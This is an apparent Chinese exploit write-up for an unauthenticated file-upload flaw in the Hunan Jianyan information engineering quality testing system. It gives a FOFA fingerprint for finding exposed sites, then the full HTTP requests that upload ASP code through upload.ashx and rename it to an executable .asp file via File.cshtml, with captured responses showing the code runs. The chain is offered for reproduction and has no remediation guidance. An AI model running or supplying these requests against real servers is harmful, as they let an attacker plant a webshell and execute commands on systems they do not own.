

H20-2湖南建研-信息工程质量检测系统-文件上传

漏洞描述：

湖南建研信息工程质量检测系统upload.ashx接口处存在文件上传漏洞，未授权的攻击者可通过此漏洞上传恶意后门文件，执行恶意命令获取

网站图片：



网络测绘：

fofa语法：

body="/Content/Theme/Standard/webSite/login.css"

漏洞复现：

payload:

```
POST /Applications/Attachment/upload.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=-----8ecd2b831e8d20f4
Connection: close

-----8ecd2b831e8d20f4
Content-Disposition: form-data; name="file"; filename="asd.txt"

<% Response.Write("Hello, World") %>
-----8ecd2b831e8d20f4
Content-Disposition: form-data; name="_upload_guid"

asd
-----8ecd2b831e8d20f4--
```

效果图：

Request

< > 数据包扫描 美化 热加载 构造请求

1 POST /Applications/Attachment/upload.ashx HTTP/1.1

2 Host : [redacted]

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

4 Content-Type: multipart/form-data; boundary=-----8ecd2b831e8d20f4

5 Connection: close

6

7 -----8ecd2b831e8d20f4

8 Content-Disposition: form-data; name="file"; filename="asd.txt"

9

10 <% Response.Write("Hello, World") %>

11 -----8ecd2b831e8d20f4

12 Content-Disposition: form-data; name="_upload_guid"

13

14 asd

15 -----8ecd2b831e8d20f4--

Responses 141bytes / 45ms

1 HTTP/1.1 200 OK

2 Cache-Control: private

3 Content-Type: text/plain; charset=...

4 Server: Microsoft-IIS/10.0

5 Set-Cookie: ASP.NET_SessionId=tm4n...

6 X-AspNet-Version: 4.0.30319

7 X-Powered-By: ASP.NET

8 Access-Control-Allow-Origin: *

9 Access-Control-Allow-Methods: *

10 Access-Control-Allow-Headers: Accep...

11 Date: Sun, 28 Apr 2024 01:47:51 GMT

12 Connection: close

13 Content-Length: 141

14

15 {

16 "files": [

17 {

18 "name": "asd.txt",

19 "length": 36,

20 "type": null,

21 "file": "~/tempData/asd.txt"

22 }

利用File.cshtml 接口将文件转换为asp文件

Request

```
1 POST /Standard/Editor/API/File.cshtml?act=geturl1 HTTP/1.1
2 Host: [redacted]
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
4 Content-Type: application/x-www-form-urlencoded
5 X-Forwarded-Proto:
6
7 filename=/tempData/asd.asp&filetplpath=/tempData/asd.txt
```

Responses 64bytes / 64ms

```
1 HTTP/1.1 200 OK
2 Cache-Control: private
3 Content-Type: text/html;
4 Server: Microsoft-IIS/10.
5 Set-Cookie: ASP.NET_SessionId=[redacted]
6 X-AspNetWebPages-Version: 4.0.30312
7 X-AspNet-Version: 4.0.30312
8 X-Powered-By: ASP.NET
9 Access-Control-Allow-Origin: *
10 Access-Control-Allow-Methods: GET, POST, OPTIONS
11 Access-Control-Allow-Headers: Content-Type, X-Requested-With, X-Forwarded-Proto, X-Forwarded-Host, X-Forwarded-Port
12 Date: Sun, 28 Apr 2024 01:10:10 GMT
13 Content-Length: 64
14
```

验证

← → ↻ ⚠ 不安全 [redacted]/tempData/asd.asp

Hello, World

参考链接:

https://blog.csdn.net/qq_41904294/article/details/138273192?spm=1001.2014.3001.5502